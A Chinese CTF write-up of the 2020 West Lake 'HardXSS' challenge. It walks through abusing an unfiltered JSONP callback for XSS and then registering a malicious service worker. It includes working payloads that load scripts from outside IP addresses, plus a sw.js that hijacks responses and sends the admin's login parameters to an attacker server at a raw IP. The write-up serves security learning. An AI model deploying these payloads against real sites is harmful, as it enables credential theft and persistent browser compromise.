0%

[西湖论剑2020]HardXSS

[西湖论剑2020]HardXSS

西湖论剑加bytectf连遇到两个前端题,终于该好好学习一下前端安全了

jsonp

jsonp是为了跨域获取数据而产生的一种临时方案,现在通常使用更牛逼的CORS,jsonp的简单实现就是在HTML页面上定义一些函数,不妨就叫它callBackFunc,然后用script的src=xxx.com/callback=callBackFunc 导入,服务端那边就整一个类似于如下代码的方式返回回去,这样子返回回去就是函数的形式可以直接执行

<?php
header('Content-type: application/json');
//获取回调函数名
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);
//json数据
//进行一些处理获得json格式的data
$json_data = $data;
//输出jsonp格式的数据
echo $jsoncallback . "(" . $json_data . ")";
?>

这样子src拿到的结果就是callBackFunc({“data”: “data”})这样的形式,实现跨域请求资源的获取

题解

这个题后来给了个hint是打service worker,然后我就看了一天的service worker
直接抓包可以看到cookie是httponly的,也就意味着直接盗取cookie不太行了,并且admin说是先打开网站再登录,应该也没法拿到cookie,因此我们才提出了使用service worker直接在它浏览器里面注册一个窃听线程
打开题目首先看到的是https://xss.hardxss.xhlj.wetolink.com/ 这么个网站,给了一个子域名爆破功能,(后来发现是前端实现的,想了半天这里怎么会有xss)
还有一个admin login按钮,点了之后进login路由,在这个页面可以看到一个jsonp

callback = "get_user_login_status";
auto_reg_var();
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
    jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
    if(result['status']){
        location.href = jump_url;
    }
})
function jsonp(url, success) {
    var script = document.createElement("script");
    if(url.indexOf("callback") < 0){
        var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
        url = url + "?" + "callback=" + funName;
    }else{
        var funName = callback;
    }
    window[funName] = function(data) {
        success(data);
        delete window[funName];
        document.body.removeChild(script);
    }
    script.src = url;
    document.body.appendChild(script);
}
function auto_reg_var(){
    var search = location.search.slice(1);
    var search_arr = search.split('&');
    for(var i = 0;i < search_arr.length; i++){
        [key,value] = search_arr[i].split("=");
        window[key] = value;
    }
}

这里一开始就没定义能用jsonp回调的函数,我就很懵逼了,就一开始定义的get_user_login_status也是不存在的,看傻了
auto_reg_var就是解析参数用的,你如果GET方式提交了callback就能把它原先定义的get_user_login_status给覆盖掉
jsonp函数整了一大堆有的没的,反正最后就是用src标签加载了一下,并且也append到DOM里了
抓包看了一下怎么处理的数据,发现处理过程就是类似于echo $_GET['callback']."({"status":false})";,过滤等于0,可以考虑命令执行了

传递内置函数

虽然这里什么能用的函数都没有定义,但是内置的函数好像也还蛮多的,比如alert
让callback=alert,拿到了一个alert({“status”:false}),参数类型不对不能执行,整一个callback=alert(1);传回来一个alert(1);({“status”:false}),弹了个窗,执行成功
然后最牛逼的就是eval也是内置函数,开始为所欲为起来了

官方wp里有提到回调函数的长度被限制在了50,估计是后端的限制,这样子就只能引入外部js文件注册service worker来打了

service worker

service worker是相当于中间人的一个组件,注册之后是留在用户浏览器上的,Service Worker 可以简单的理解为是一个代理,可以拦截网络请求,修改返回内容等。小burp?
由于没有https,接下来的就只能是处于理论学习了,哪天整到一个https之后再实践一下呜呜呜

需要两个脚本完成攻击,一个设置document.domain并引入service worker,另一个注册service worker
因为用户名和密码是发送到auth下的,而service worker只能控制其注册域下的请求,fetch方法能劫持我们的HTTP响应,并让我们以自己的形式操作它
官方文档里也有说

service worker 只能抓取在 service worker scope 里从客户端发出的请求。

但是我不知道怎么抓取客户端发送的请求然后转发出来,不然估计就可以在xss域名下注册个sw完成攻击了
(这段没太懂)

1.js用importScripts加载外域脚本,设置本身的document.domain,并且将auth放到iframe里面,实现跨域

document.domain = "hardxss.xhlj.wetolink.com";
var iff = document.createElement('iframe');
iff.src = 'https://auth.hardxss.xhlj.wetolink.com/';
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('//404.buuoj.cn/a/sw.js')//")`;
function iffLoadover(){
    iff.contentWindow.eval(exp);
}

service worker不能放置在非同源的域上,serviceWorker.register方法中的scriptURL需要指定service worker的位置,且该位置不能是本域以外的位置,且必须是localhost或https,理论上是不能加载我们的外部脚本的,但这里我们可以用这个jsonp的漏洞将我们自己服务器上的脚本导入进来成本地的,就是这个payload/api/loginStatus?callback=self.importScripts('//404.buuoj.cn/a/sw.js')//
但是我不知道这个//是干什么的
又,service worker注册的情况需要返回值的content-type是如下几种类型

text/javascript
application/x-javascript
application/javascript

但jsonp返回的content-type刚好是text/javascript,所以jsonp+service worker是不是应该是一个经典xss组合

sw.js用来注册service worker

self.addEventListener('install', function(event) {
        console.log('install ok!');
});
self.addEventListener('fetch', function (event) {
        console.log(event.request);
        event.respondWith(
        caches.match(event.request).then(function(res){
        return requestBackend(event);
        })
        )
   });
function requestBackend(event){
        var url = event.request.clone();
        console.log(url);
        return new Response("<script>location='http://120.92.217.158:9999/'+location.search;</script>", {headers: { 'Content-Type': 'text/html' }})
}

最终payload就为
https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%27http://47.103.140.44/1.js%27);//
这个题用importScripts做回调函数会报错没定义,所以就用jsonp来导入1.js再导入sw.js
但是我没有https,不给导入,就不知道能不能成了。。。

sw把这个请求的回复变成了一个script,自动的把url里面的参数发到了我们对应的服务器上
用location.search获取?后面的参数,发送出来,获取到admin的账号密码

11.3修订

再看了一下service worker,加上rmb神仙的亲手指导,我完全懂了(大概)。sw确切的作用应该是截取用户的请求并返回对应的数据,正常使用就是加载外部资源图片之类的时候可以缓存一手,下次请求就不用再去下载了。也就是说只能拦截在当前域下发出的请求,在这个页面下的请求为一个跨域请求时同样会经手service worker。从其他域去加载sw注册域下的资源是不会经手service worker的。
这个题这里是xss向auth下发起一个请求,按照我们上面的理论应该是不能获取到数据的,但表单会改window.location,域就变成 auth.xss 了,这个请求就是从auth下发出的了,就能截获了
这里看xss下的登录表单,用的是GET方法,所以用location.search获取GET的数据,如果用的是POST,就用event.request.body获取

官方文档有如下解释

A fetch event fires every time any resource controlled by a service worker is fetched, which includes the documents inside the specified scope, and any resources referenced in those documents (for example if index.html makes a cross origin request to embed an image, that still goes through its service worker.)

参考链接

https://lightless.me/archives/XSS-With-Service-Worker.html
https://zhuanlan.zhihu.com/p/29734820
https://blogs.akamai.com/sitr/2020/01/abusing-the-service-workers-api.html

官方文档
https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API/Using_Service_Workers